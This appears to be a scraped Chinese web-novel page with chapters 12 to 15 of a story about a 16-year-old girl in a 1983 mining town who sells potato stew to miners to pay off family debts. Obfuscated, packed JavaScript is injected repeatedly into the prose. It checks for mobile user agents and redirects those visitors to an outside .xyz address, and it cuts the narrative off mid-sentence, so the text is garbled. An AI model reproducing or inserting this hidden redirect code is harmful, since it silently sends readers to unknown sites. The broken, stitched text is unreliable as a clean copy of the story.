d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457101|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆改哮天犬。 一口气吞下大半盒土豆泥,胃里传来久违的饱足感。 张跃进心满意足地舒一口气,这才有心情细细品尝。 人家这土豆也不知是怎么做的,吃起来没有土豆特有的涩味,而是丝滑绵软,充满了浓郁的香味。 而吃的时候,还会冷不丁吃到块肉,虽然块头不大,但那毕竟是肉啊! 再吃下去的时候,就带上了一点开盲盒的意味,期待下一块肉。 每一口都不让人失望。 肉似乎被炖化了,分解成细细碎碎的肉块和肉丝,藏在土豆泥中,让吃起来的口感多了个层次。 张跃进珍惜地将饭盒里的土豆泥都吃得一干二净,要不是周围有人,他都想伸舌头舔干净。 放下饭盒,他满足地长长叹了口气。 像是油表亮起红灯,眼见车要熄火了,拐角遇到加油站,挂着空挡滑过去,在油箱彻底耗空前,终于吨吨吨加上了98号油。 现在他就像一辆加满了油的老车,又能载着全家上路驰骋。 张跃进从兜里掏出一叠钞票,从中数出两张一毛钱,递给了摊主。 摊主要接钱时,他忽然想起什么,一缩手,说:“你这上面写着土豆炖棒骨,全是土豆,也没有棒骨啊。便宜点,就一毛吧。” 食堂丙菜也就一毛钱,张跃进有点心虚地想,这土豆泥也是纯素的……吧? 摊主也不和他争辩,回身掀开桶盖,大勺子在里面一捞,捞出一根光溜溜的棒骨。 “便宜是便宜不了,这一桶菜下了五斤棒骨呢,炖的时间长,肉都化在里面了。” 张跃进伸脖子一看,果然桶里还有好几根棒骨。 摊主说:“叔,你刚刚应该也吃着肉了,我这肉都藏在土豆泥里呢,不能按素菜算钱。” 这下没理由砍价了,他有些心疼地把钱递给摊主,想了想,又说:“那你给我根棒骨呗。” 摊主找完五分钱,还真给了他捞了一根棒骨。 饭盒装不下,张跃进就把从办公室拿的报纸包在骨头上,怕渗油,还包了好几层。 他骑车回家,骑了一会儿,发现在冬天寒风中,身上还是热乎乎的。 张跃进犹豫了一下,果断掉头回去。 这土豆泥里有肉又有油脂,正好打包一份回去给老婆孩子吃。 到时候媳妇要是问他多少钱,就说两毛钱一碗,嘿嘿~ 当张跃进怀揣着报假账攒私房钱的小算盘回去时,却发现小摊被围得里三层外三层,下班的矿工们挥舞着钱,抢着要买,挤得水泄不通。 “给我打两碗!” “我要三碗!” “快没了?我不管,我先来的,必须给我打一碗!” 见状,张跃进等不住了,把自行车往旁边一停,揣着饭盒就往人堆里钻。 “都别抢了!给我留一碗!” 12. 第 12 章 不到一小时,贺明珠准备的满满一桶土豆炖棒骨就全部卖光了。 收摊时,边上没买上的人不甘心就这么离开,追着她问:“你明天还来这儿卖吗?” 贺明珠一边把铁皮桶往自行车后座上捆,一边笑眯眯地说:“卖,当然卖,明天还是这个时间点。” 得到满意答案后,人群才依依不舍地散开。 贺明珠收拾完东西,又把地上的垃圾都打扫了,这才骑车离开——来的时候后座的铁皮桶太沉,她骑不动车,艰难地推了一个多小时,好不容易才走到地方。 到了家,卸下车上的东西,顾不上洗桶,她迫不及待把今天收获的一把零钱撒在炕上,一张一张地数了起来。 一毛,两毛,三毛…… 一炕的零碎钞票和钢镚数完,一共是八块七毛钱。 棒骨是找赵大哥买的,花了不到四块钱;土豆是自家冬储的,二十斤算两块钱;燃料调料暂计五毛——成本总计六块五。 也就是说,她这次摆摊挣了两块二。 照这样每天去摆摊,一个月就能挣六十多块钱! 这还是在她第一次摆摊、备货不足的情况下,如果备货充足,收入还会更高。 贺明珠振奋极了。 她特地挑选矿上交班的时间点过去摆摊,准备了热量爆炸到会让现代减肥人士花颜失色的土豆炖棒骨,又特意将价格定得比乙菜便宜五分,就是希望能吸引到够多的食客。 虽然矿工收入高,手头宽裕,但毕竟这年头这年头大家都省吃俭用,有多少人舍得在外面花钱吃东西,还真说不准。 不过显然,她低估了寒冷和饥饿的影响,更低估了那一桶高油高脂的土豆棒骨的诱惑程度。 矿工们常年肚里缺油水,又连续干了八小时的重体力劳动,饿得眼都是绿的,这会儿就算一头牛都吃得下,更何况是一碗热乎乎的土豆炖棒骨。 贺明珠打菜实在,一勺子就将近一斤,连肉带土豆,油脂融在其中,测一下卡路里都要爆表。 但这正是矿工们所需要的。 如果他们只吃水煮土豆,不仅干巴巴的噎嗓子,而且就算吃个两三斤也没什么吃饱的感觉,吃完还会肠胃胀气。 但要是在土豆里加上肉和油脂,一斤也吃得很饱足。 何况贺明珠手艺好,就算是土豆也料理得滋味醇厚,满口脂香,每一口都吃得人心满意足。 被食堂荼毒多年的矿工们,乍一遇到不要粮票不要饭票、定价只有一毛五的美食,必须不能放过。 这也就是她第一次来摆摊,一矿知道的人少,不然来买饭的人多得能把地摊都给淹了。 贺明珠当机立断决定再去门市部打一个铁皮桶,等新桶到了,以后就备双倍的货。 但问题又来了。 一个铁皮桶装满后的重量将近三十斤,她今天推车出摊的时候就已经很吃力了,再加一个桶,那就是六十斤。 骑车带个六十斤的人还行,但要是换成六十斤的货,那就是另外一回事儿了。 贺明珠想到这就发愁。 她现在才十六岁,细胳膊细腿的,力气有限,要是强行推车出摊的话,只怕会翻车摔桶,那就得不偿失了。 偏偏这会儿家里没人能帮忙推车。 ——大哥要上班,小弟是个三头身萌物,自己走路不摔倒就不错了,都指望不上。 要是二哥没走就好了。 正当贺明珠纠结时,邻居刘婶来串门了。 “你今天去一矿摆摊了?” 寒暄两句,刘婶开门见山地说:“后巷那家的男人在一矿看大门,说看见你在矿上摆摊卖饭。” 贺明珠坦然承认:“是啊,我想趁着寒假挣点钱好还债,要不过年都过不安稳。” 刘婶听了就皱眉。 “好端端的摆什么摊?咱们堂堂正正的工人,挣的是正经工资,可不兴挣这投机倒把的钱啊!” 这话说得不好听,但贺明珠知道刘婶没有恶意,她的思维还停留在改革开放前,只有在公家单位上班挣的钱拿着才安心。 去年,也就是1982年,浙江“八大王”的案子闹得满城风雨,报纸上都是批评的文章,仿佛个人做生意就是资本|主义,就是开历史倒车,挖社会|主义墙角,和国家对着干,必须被打倒后踏上一万只脚。 刘婶语重心长地说:“明珠,你听婶的,家里欠钱和你没关系,那是你哥他们要操心的事,你别管,好好上你的学,将来毕业后接你妈的班,找个好人家嫁了……” 贺明珠知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457102|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘婶是好心,拿她当自家孩子才说这种得罪人的话。 她拉着刘婶的手,撒娇般说道:“婶,我知道你是为了我好,但你前两天也看见了,人家要债都要到家门口了,我要是再不把钱还了,我妈的工作还不知道轮不轮到我接班呢。” 这确实是个问题。 刘婶表情沉重,明显是内心经过一番斗争,才说:“婶家里还能挤点钱出来,你拿上,把债还了,以后就别摆摊了。” 贺明珠连忙拒绝。 刘婶家里有五个孩子,还要赡养两位老人,但只有刘叔一人上班挣钱,家里是真的没什么钱。 她还记得小时候,刘家房子住不下,刘婶家的男孩来他们家,和大哥二哥在小屋挤着睡。 刘婶心里过意不去,经常来贺家帮忙,不是洗衣服,就是带孩子。偶尔回村探亲带点土特产,还要给贺家分一半。 两家交情深厚,即使贺家父母相继去世,这份情感上的连结也没断过。 贺明珠抱着刘婶的胳膊说:“婶,你别担心,现在乌城摆摊的多了去了,我就跟着摆摊挣点钱。要是哪天国家说不让摆摊,我立马就不摆了。再说,我就在咱们矿上摆个摊,不去外面,这儿都是熟人,不会出事儿的。” 刘婶摇摇头:“孩子,你不知道,就是因为在矿上才要担心啊,这指指点点的,多难看啊。” 这时,有人进来,对刘婶说:“妈,现在时代不一样了,你不能还是老观念,我看就摆摊挺好的,回头我也摆去。指指点点又怎么样,能挣上钱才算有本事。” 是刘婶的大女儿刘燕。 刘婶听了就生气:“什么本事?!咱们家是穷,但挣的都是卖力气的正经钱!你要是敢给我去摆摊,看我不让你爸打断你的腿!” 刘燕面不改色,显然已经听习惯了。 “行了妈,钱哪分正经和不正经的。快回去做饭吧,我爸他们都快下班了。” 刘婶被刘燕推了出去,临走前还在对贺明珠说:“好孩子,听婶的,可不能再去摆摊了啊。” 好不容易把刘婶推出了门,刘燕呼出一口气,转身无奈地说:“对不住啊明珠,我妈就这脾气,说话不好听,你别放心上。” 没想到却听到贺明珠说:“姐,你愿意挣点外快吗?” 13. 第 13 章 贺大哥下了夜班,坐最早一班公交回家。 当公交停靠在家属区的站点时,才刚过七点,天还没完全亮。 他昨天帮家里有事的同事顶了个早班,休息了没几小时,又要上自己的夜班。 他们小组负责贯通工作面,开着机器整整掘进了一夜,这会儿又累又困,走路两条腿直打拌,睁着眼都快睡着。 小巷里静悄悄的,路灯昏暗,只能听到自己的脚步声,贺大哥忽然想起最近在报纸上经常能看到盗窃抢劫的新闻。 要不抱条狗回来养吧,不然他值夜班时家里就只有妹妹和小弟,弱的弱,小的小,家里来个坏人,一巴掌全打扁了。 太困了,等他睡醒了再去打听谁家养狗吧。 贺大哥迷迷瞪瞪的,全凭惯性往家的位置走。 忽然,他的鼻子捕捉到一股炖肉的香气。 人还没清醒,鼻子连连抽动,下意识寻找香味的来源。 这个味道,好熟悉啊…… 香气轻车熟路顺着鼻腔钻进肚子里,毫不矜持地勾搭因寄主的困倦而陷入休眠的馋虫。 贺大哥的肚子里就叽里咕噜一阵响。 好饿…… 离家越近,香味越浓郁,甚至有点铺天盖地的意思了。 “贺明国,你们家这是做什么呢?怎么这么香?” 同住一条街的邻居冲贺大哥嚷嚷:“大清早的,香得我都睡不着了,赶紧就是爬起来吃早饭,那家伙给我饿的,挖心挖肺啊!” 贺大哥:??? 什么?我家? 门没上锁,他从门洞伸手进去,拉开门栓,推开院门。 猝不及防,浓郁的香味就那么劈头盖脸砸到他脸上! 贺大哥一下就被砸清醒了。 厨房大灶上正在炖骨头,不断有蒸腾的水蒸气从简陋门窗里涌出来,遇冷凝结成白雾,弄得小院简直像个肉味的仙境。 地上都是水,打眼一看,自家妹妹正蹲在水池子旁吭哧吭哧洗土豆,洗干净的土豆在大盆里堆成一座小山。 在她旁边,是更多的还没洗的土豆。 其中一个麻袋口子没扎紧,歪倒一旁,土豆在地上骨碌碌乱滚。 “洗这么多土豆,你是要开土豆宴啊?” 贺明珠闻声看去,贺大哥站在门口,对着满地土豆无处下脚。 “哥!” 她欢快地跳到他身边,甩了甩手上的水,拽着他胳膊就往屋里走。 “你过来,我有好东西给你看!” 贺大哥一路被拖到大屋,连挎包都没来得及摘下来,就被贺明珠往手里塞了一把毛票钢镚。 他双手捧着这一把珍贵的钞票,惊讶地说:“哪来的钱?你摆摊挣的?” 昨天他一整天都在矿上,妹妹也不等他回来,就这么自己去摆摊了? 贺明珠仰着小下巴说:“一共是八块七毛,我摆一次摊就挣了两块二!我厉不厉害?” 贺大哥拿着钱,简直不知该如何是好,又气又爱。 看她这得意的小模样! “厉害!姐姐最厉害!” 贺小弟捧着个小碗抢答,碗里是贺明珠给他捞的肉,还有用肉汤卤的鸡蛋,小嘴吃得油亮。 对待弟弟,贺大哥就没顾忌,一巴掌抽他屁股上。 “厉害什么?上桌吃饭去,谁让你端个碗四处溜达的?摔了怎么办?” 贺小弟哼了一声,小屁股一扭一扭的,端着小碗走了。 贺大哥脱了棉袄,换上干活用的旧外套,把贺明珠挤到一边,自己蹲水池边洗土豆。 贺明珠没抢过他,索性拿削皮刀给土豆削皮,结果又被大哥吼了一嗓子:“放着我来!” 这也不让干,那也不让干,贺明珠就问他:“那我干什么?” 贺大哥扭头示意厨房:“看锅去,别在这儿晃悠。” 天气冷,滴水成冰,厨房里煮着东西,热量辐射,进去一会儿身上就暖烘烘的。 贺大哥动作麻利,洗土豆的速度快,没一会儿就洗了大半麻袋的土豆。就是两只手冻得够呛,十个指头都红通通的,冷得没知觉。 冲掉土豆上的泥巴,他搓搓手指,哈口气,拿削皮刀唰唰唰给土豆去皮。 这时,忽然一双夹着肉的筷子怼到他嘴边。 “啊,张嘴——” 贺大哥抬眼一看,自家小妹端着碗去了骨头的肉,筷子夹起肉就往他嘴里塞。 他正饿着呢,从善如流就张开了嘴。 “嘶,烫烫烫!” 贺明珠偷笑:“喂你吃饭还这么多事儿,快点吃,肉要凉了。” 贺大哥两只手占着没法反击,艰难吞下,正要开口时,又被贺明珠瞅准时机往嘴里塞了一块肉。 刚从锅里捞出来的炖肉,烫呼呼香喷喷的,吃一口人都暖和起来了。 就这么一口一口的投喂,中间掺杂着两兄妹的斗嘴,以及贺小弟自不量力加入战局,又被兄姐联手镇压后奶声奶气的抱怨。 似乎春天已经来到了这个小小的院子里。 ***** 张跃进是下午的班,他早早就来了单位,放下挎包,也不急着下井交接,拿个饭盒站在大门口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457103|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门附近零零散散还站了好几个人,和他一样拿着饭盒,一看就知道和他抱着同样的目的。 摆摊的迟迟不来,张跃进不由得有些担心,该不会今天不来了吧? 他可是连午饭都没吃,就等着这一顿呢! 昨天他吃了整整一饭盒的土豆泥,不仅路上骑车不冷了,而且到了晚上都不觉得饿。 俩小子在饭桌上抢饭吃时,他就坐旁边看着,心里虽然依旧发愁,但因为肚里有食,也没有之前那么苦大仇深了。 张跃进媳妇看他没怎么吃晚饭,还担心是不是生病了,要拿白面烙饼给他补一补。 他赶紧拦下,没病没灾的吃什么白面,太败家了,留着给孩子们吃吧。 怕媳妇担心,他就告诉媳妇,单位门口有人摆摊卖饭,土豆棒骨,两毛钱一份,他买着吃了,这会儿还不饿。 两毛啊…… 媳妇有点心疼,怎么能花钱买吃的,自家做饭多便宜,两毛都能买一斤半土豆了! 张跃进就赶紧解释,说这家的饭油大,还有肉,一份就能吃饱,价格也不贵,和食堂的乙菜一样,而且很还顶饿——你看他不是到现在都不饿吗? 媳妇心疼钱归心疼钱,到底给张跃进塞了两块钱,让他该吃就吃,别省着,家里就这一个挣钱的大老爷们,可不能累趴下了。 张跃进是个会过日子的仔细人。 他要在外面买着吃,就不在家吃饭了,临出门前揣了俩窝窝头。 地摊那家的炖土豆扛饿,能当饭吃,还不花粮票,正好省下粮食,给自家两个小子吃。 他还琢磨,昨天跟摊主要的棒骨不错,在家炖白菜时放进去,还能沾点肉味。今天得再要一次,这次他得挑个大的。 张跃进都盘算好了,但问题是,摊主怎么还不来? 眼见离交班的时间越来越近,他又急又冷,直跺脚,不会今天吃不上这一顿了吧? 道路尽头,高个女人推着辆绑着铁桶的自行车往一矿大门走,另一个稍矮点在旁边跟着。 来了! 张跃进精神一振,其他人也是,还不等摊主摆开东西,举着饭盒就挤了上去。 “给我打两份!” “我给钱,先给我打!” 张跃进着急地喊:“我昨天买了,我是老顾客,给我留根棒骨!” 摊主也不着急,和推自行车的女人说了句什么,然后从车上取下瓦楞纸牌子,摆在众人面前。 【肉汤浇汁土豆泥,一毛钱/份】 张跃进:? 张跃进:我的棒骨呢?! 14. 第 14 章 贺明珠在备菜时发现自己犯了一个错误。 她已经习惯了现代社会物资充裕到甚至过剩的情况,在回到八十年代后,虽然记得出门买东西要带现金还要带票,但显然,她还没能完全适应。 至少她就忘了在1983年时猪肉还是一种非常紧缺的物资。 尽管她和赵大哥说好,以他的名义在副食品店内购棒骨,但能买到的棒骨数量是有限的。 赵大哥之前陆陆续续送来十五斤棒骨,她第一次摆摊就一口气就用掉五斤棒骨,如果按之前备菜一桶的份量来算,应该是够用的。 然而,土豆炖棒骨的受欢迎程度远超她的预计。 但如果加倍备菜的话,就会面临原材料不足的问题,特别是棒骨。 土豆家家户户都有,矿工们花钱来她这儿买饭的原因只有一个,就是廉价且美味的肉食和油脂。 没有棒骨,她就算手艺再好,能把土豆做出花来,也吸引不来多少食客。 毕竟这年头人们肚子里最缺的是油水,最不缺的就是土豆红薯高粱玉米之类的粗粮。 幸好,贺明珠及时想到了补救的方法。 她分了两步来做棒骨。 第一步依旧是先煎后炖;第二步则是将棒骨上的肉都取下来,将骨头砸得粉碎,再次放入汤中熬制,直至完全被煮透,所有油脂一滴不剩。 最后用细纱布把棒骨从熬好的肉汤中过滤出来时,棒骨已经变成了灰白色的骨头渣子,轻轻用手一捏,就碎成粉末。 贺明珠备好了菜,在大哥的帮助下将两个铁皮桶固定在自行车后座两侧。 要出发摆摊时,贺大哥要和她一起去,被她坚决拒绝了。 贺大哥质疑:“这么沉的桶你搬得动吗?” 贺明珠说:“我有帮手啊。” 说曹操曹操到,刘燕推门进来,径直走向自行车,扶着车把,说:“明珠,走不走?” 贺大哥看贺明珠,她冲他眨眨眼,对刘燕说:“燕姐,咱们走吧。” ——她和刘燕商量好了,对方帮忙把自行车推到一矿门口,她每次付一毛钱作为报酬。 刘燕比她大十岁,下乡插队做过农活,胳膊腿长得粗壮,很有力气。 她返城后没找到工作,刘婶让她等矿务局招工,不许她去外地打工。 她想摆摊,手上没有本钱,只好每天从化工厂接糊纸盒的活儿,糊两个纸盒才赚一分钱。 而帮贺明珠推车,一趟就能赚一毛钱,这相当于糊二十个纸盒,她还是很乐意的。 刘燕把自行车推到一矿大门口,又帮忙把后座两个沉重的铁皮桶卸下来,做完这一切后才离开。 贺明珠把新做的招牌摆好,开始招呼今天的客人。 张跃进站在摊前,迫不及待地抢先问道:“今天没棒骨?” 贺明珠答道:“叔,没有了,棒骨不够用,以后都不做了。” 张跃进有点不高兴,他今天还想再要一根棒骨拿回家加餐呢。 他拎着饭盒,站在地摊旁,也不买,等着别人先买。 肉汤浇汁土豆泥? 什么菜,听都没听说过,谁知道好不好吃。 再说了,没有棒骨,这地摊还有什么吸引力,还不如去食堂打个菜呢。 虽然这么想着,但张跃进也不挪脚,就站那儿看着。 旁边还有好几个人和他一样,手里拿着饭盒,不说买,也不说不买,都在等别人先试水。 在这儿等地摊的不只有张跃进这样精打细算的中年人,还有不少一人吃饱全家不饿的单身汉。 有小年轻就莽莽撞撞地挤进来,二话不说把两毛钱和饭盒递给贺明珠,说:“那什么浇汁土豆泥,先给我来一份。” 贺明珠接过钱和饭盒,解开铁皮桶外的保温棉袄,掀开桶盖,一阵熟悉的浓香溢了出来。 张跃进情不自禁深深吸气。 就是这个味道! 他忍不住踮起脚,伸着脖子往桶里打量。 铁皮桶装得满满当当,土豆被打成泥状,绵密细腻,大大小小的肉块混在其中,在阳光下微微反射油光。 张跃进下意识吞了下口水。 他眼睁睁看着摊主往饭盒里打了满满当当的土豆泥,堆得快冒尖,递给小年轻。 小年轻也不急着走,从兜里抽出双筷子,在衣服上蹭了两下,端着饭盒,就唏哩呼噜吃了起来。 他吃得可真香! 小年轻吃得头也不抬,筷子像推土机的铲斗,稀里哗啦扒饭,仰着脖,把土豆泥往嘴里倒。 张跃进看得直吞口水。 短短几分钟,小年轻就把一大盒的土豆泥都吃得一干二净。 就这,他还犹觉不足,拿着空饭盒,往摊主跟前递了递:“再来一份!” 话音未落,其他围观的人像如梦初醒,举着饭盒和钱,纷纷簇拥着往前挤。 “给我也来一份!” “我也要!” 张跃进急了:“等等,我先来的,我先来的!” 不到一小时,贺明珠准备的两大桶浇汁土豆泥都卖光了,她带着空桶骑车回家。 贺大哥不让她碰冷水,自己拿着碱面把锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她搭公交去离乌城矿务局最近的农村集市,找摆摊卖菜的农民买土豆,一斤只要八分钱。 对方一听她要买二百斤土豆,立刻就从自家和亲戚的地窖中凑足,赶着驴车就送到了煤矿家属区。 贺明珠和农民结了账,把土豆卸在院里,本就不宽的小院现在更窄了,走路都得侧身踮着脚。 买土豆花了十六块,几乎是她这段时间的全部利润了。 贺明珠下午去出摊,刚把铁皮桶卸下车,忽然从大门里面出来了几个保卫科的干事。 “这儿不能摆摊,赶紧走!” 15. 第 15 章 “快走快走,投机倒把的怎么跑公家单位来摆摊了?!” 保卫科的干事说:“赶紧把你东西收走,以后不许来了,再来就没收了啊!” 事发突然,贺明珠毫无准备,惊讶地问:“之前不是都能摆吗?怎么今天就不行了?而且我这也不是投机倒把,就是卖点吃的而已啊。” “以前是以前,现在是现在,能一样吗?” 干事不耐烦地说:“你甭管什么原因,反正以后都不能摆了,你赶紧走。” 刘燕扶着自行车的车把,看对方是几个男人,还疾言厉色的,就有点露怯:“明珠,要不我们先回去吧……” 贺明珠拧着眉头,示意她在旁边等一下,自己则走上去,把保卫科干事里领头模样的人拉到一边,给对方递了根烟,低声问道: “同志,您经常来买土豆泥,您是知道的,我只是卖点吃的补贴家用,挣个几毛几分的小钱,谈不上什么投机倒把。” 领头干事拿着烟,神色缓和了些。 小姑娘细声细气的,穿着不合身的旧棉袄,学着大人的模样给他递烟,看起来怪可怜的。但凡家里有个顶事儿的大人,怎么会让这么小的孩子出来摆摊呢? 领头干事说:“没办法,我也不想赶你走,你不摆摊了我去哪儿买?但昨天有领导看到你摆摊,嫌在大门口摆摊不好看,就说不让摆了……也不是针对你,以后矿上啊,一律不许摆摊。” 贺明珠听到这话,就知道这事儿没有什么商量的余地了。 不管这位多管闲事的领导是老顽固还是官僚主义,但他既然放出这样的话,至少在短时间内矿上都不会容许摆摊了。 摆摊事业才刚起步就要被夭折了吗? 贺明珠顾不上以后要怎么办,先着手处理眼下的问题。 她辛辛苦苦做的两大桶土豆泥就这样再搬回去? 那接下来全家什么都别吃了,就每顿饭都吃土豆泥吧。 贺明珠对领头的干事恳求道:“同志,我愿意配合矿上的一切要求,以后都不会来摆摊了。只是今天这事发生得太突然了,我一点准备都没有,好不容易才把两大桶的土豆泥运过来;也没和大伙儿说一声,您看门口都是等着买饭的人。” 地摊周围都是拿饭盒等着买饭的人,经历过前两天的混乱后,已经在贺明珠的指挥下排起了长队。 领头干事看了一圈,咂咂嘴,说:“嗨,没办法,我们也是才被通知。我这连饭都没吃,还等着买你的土豆泥呢。” 贺明珠就提议道:“您看这样行不行,我把带过来的土豆泥卖了,顺便告诉大家,明天不用等了,以后我就不过来摆摊了。” 领头干事犹豫道:“这能行吗?” 这时,有人等得不耐烦了,喊道:“今天还卖不卖了?我这赶着交班呢!” “就是,别聊了,赶紧卖吧!” 还有人认识领头干事,喊他:“干嘛呢,有什么事儿你们晚点说,让人家先卖吧,我都等半天了!” 被这么多人围着嚷嚷,领头干事有点方。 贺明珠趁热打铁:“同志,我卖得很快的,绝对不会耽误您的工作。您不是也还没吃饭吗?我今天给保卫科的同志们一人免费赠送一份,就当是这段时间给你们添麻烦的赔礼了。” 领头干事半推半就:“啊?啊,这多不好意思啊……” 他回头和另外几个干事说了几句,几人都喜笑颜开,一路小跑着回去拿饭盒了。 看保卫科的人走了,刘燕不放心地问:“明珠,没事儿了吗?你以后还能摆摊不?” 贺明珠摇摇头,只说:“燕姐,你先别走,帮我把土豆泥都卖了。” 刘燕不明所以,但还是留下来和她一起卖饭。 一人收钱一人打饭,速度快了很多,不到半小时,两桶土豆泥就卖得干干净净。 收摊回家,贺明珠给了刘燕比平时翻了一番的工钱。 刘燕捏着钱,有点不好意思,说:“不用这么多,我也没干什么。” 贺明珠说:“燕姐,这算是给你的补偿,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这儿有医院,有学校,有公园,有百货商场,还有国营饭店和招待所。 相比于荒凉偏远矿山周边的矿工家属区,也就是后世的棚户区,矿务局要繁华热闹多了,宽阔的马路上车来车往,一排排整齐伫立的五层楼房,国营商场玻璃在反光。 贺明珠推着自行车,走了一个多小时才到地方,大冬天的出了一身汗。 她把车停在一电厂家属区门口,将铁皮桶从车上取下来,摆好瓦楞纸牌子。 “走过的路过的,瞧一瞧,看一看,肉汤浇汁土豆泥,一毛钱一份……” 全矿务局的厂矿中,除了煤矿,就属一电厂的效益最好了,听说发电不留本地,直接输送北京。工资高,福利也好,而且不像下井那么危险,矿务局的待业青年们削尖了脑袋想挤进去。 贺明珠考虑到这一点,才将摆摊的地点选在了一电厂家属区。 这会儿正是中午下班的时间点,家属区门口人来人往。听到贺明珠的叫卖声,就有人过来瞧瞧。 “小姑娘,你这卖的是什么?怎么做的?” 说话的是个中年妇女,拎着一兜子饭盒,眉眼精明。 贺明珠掀开桶盖,向对方展示。 “土豆和棒骨一起炖,炖好后捞出棒骨,里面有肉有土豆,特别好吃,您尝尝?” 中年妇女挑剔地看了看,说:“行,那你给我来点尝尝。” 贺明珠从桶里舀出一点,盛在干净碗里递给对方。 中年妇女端着碗,毫不客气吃得干干净净,品品味,说:“东西还将就,你也太抠了,就给这么一点。” 贺明珠也不生气,收回碗,笑眯眯地说:“姨,您要买的话,我肯定给您多打点儿。既然尝的好,那您来一份呗?” 中年妇女依依不舍地递回碗,舔舔嘴,说:“你这也太贵了,一毛钱都能买一斤土豆了,你这一份有一斤吗?” 贺明珠依旧笑眯眯的:“姨,一毛钱一斤买的是生土豆,还得做熟。我这是现成的,买回去就能吃,而且里面还有肉呢,要是再加上调料煤炭人工费的钱,一份土豆泥的成本也不低呢。这个价格已经很低了,不能再便宜了。” 中年妇女找不到反驳点,一时为难起来。 走吧,刚才吃得还挺香,确实还想再吃点;不走吧,花一毛钱买份土豆泥,有点超出她的预算了。 贺明珠看出她的纠结,就说:“姨,你要是自带碗,我还能给你再多打点。” 中年妇女听到这一句,立刻就说:“你说的啊,我现在就回去取碗。” 她家离得不远,很快便取了一只大海碗回来。 贺明珠也如约给她打了一大勺的土豆泥,里面还掺了不少肉。 桶盖掀开,热腾腾的香气冒出来,周围人见有人第一个买了,便也凑过来要买。 贺明珠一边收钱,一边打饭。虽然时不时有人要讨价还价,但因为买的人不算多,还忙得过来。 生意不好做。 一电厂的职工对高热量食物的需求没有煤矿工人那么大,收入也没有下井矿工高那么高,因此,即使吃过的人都说好吃,但愿意掏钱买的人还是寥寥无几。 两个多小时过去,还有小半桶的土豆泥没卖出去。 从出门到现在,贺明珠在室外待了三个多小时,冻得手脚都麻了,不住地原地蹦跶取暖。 她想把手放在铁皮桶上取暖,结果发现桶身冰凉,一点热乎气都没了。 眼见下午上班的人骑着自行车陆陆续续走了,再待下去也卖不完,贺明珠决定收摊回家。 她抱起桶,试图将其放在自行车后座上。 大概是在室外冻了太久,手上有点没力气,桶又沉,贺明珠没能一下固定住,松手就要砸桶,这下僵在那儿了。 这时,忽然有人喊她的名字。 “贺明珠同学!” 话音未落,说话的人跑过来,双手扶住铁桶,轻松一抬,就将贺明珠从困境中解救出来。 “谢谢……” 她看清来人,不太确定地说:“孙向前?” 男生长得极清秀,少年气十足,像颗修长的青竹,在这个粗犷的工人社会中,格格不入。 他腼腆地冲贺明珠笑了笑,明明之前喊人的是他,但现在不说话也是他。 孙向前是贺明珠的初中同学,两人前后桌,说话不多,不算熟,毕业后更是很少联系。听说他后来考到了北京的大学,毕业后就留在北京工作,之后再没见过面。 之所以还记得他,是因为孙向前长得还不错,称得上校草,当时学校里喜欢他的人特别多。 贺明珠还被人托过给他送情书,当时孙向前一副手足无措的模样,脸都要烧起来,偏偏眼睛是亮晶晶,一直在盯着她笑。 她被盯得浑身不自在,好像是她在写情书告白。 贺明珠赶紧把情书塞给她,扔下一句“别人托我带给你的”,就赶紧跑路了。 ……也不知道那个写情书的姑娘有没有得偿所愿? 贺明珠问他:“你怎么在这里啊?” 孙向前指了指身后的小区楼房,说:“我家住在这儿,我在楼上看到了,觉得好像是你,就下来看看。” 他小心翼翼地问:“你是在帮人看摊吗?” ——他怕贺明珠不高兴,避开了问她是不是 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那家里欠债得什么时候才能还清?又要眼睁睁看着大哥过劳导致职业病,再次早逝吗? 正当贺明珠烦恼之时,孙向前忽然开口:“呃,土豆泥很好吃,是你做的吗?” 她还在想事,敷衍回道:“对,我做的,你喜欢就行,等回去我再给你装一盒,你带回家吃。” 意识到贺明珠误会了他的意思,孙向前手忙脚乱地试图解释:“我不是这个意思,不是要你的土豆泥,我的意思是,我妈做饭不好吃,我家平时都是在食堂打菜带回来吃。今天我妈忘了和食堂订菜,但幸好有你的土豆泥……” 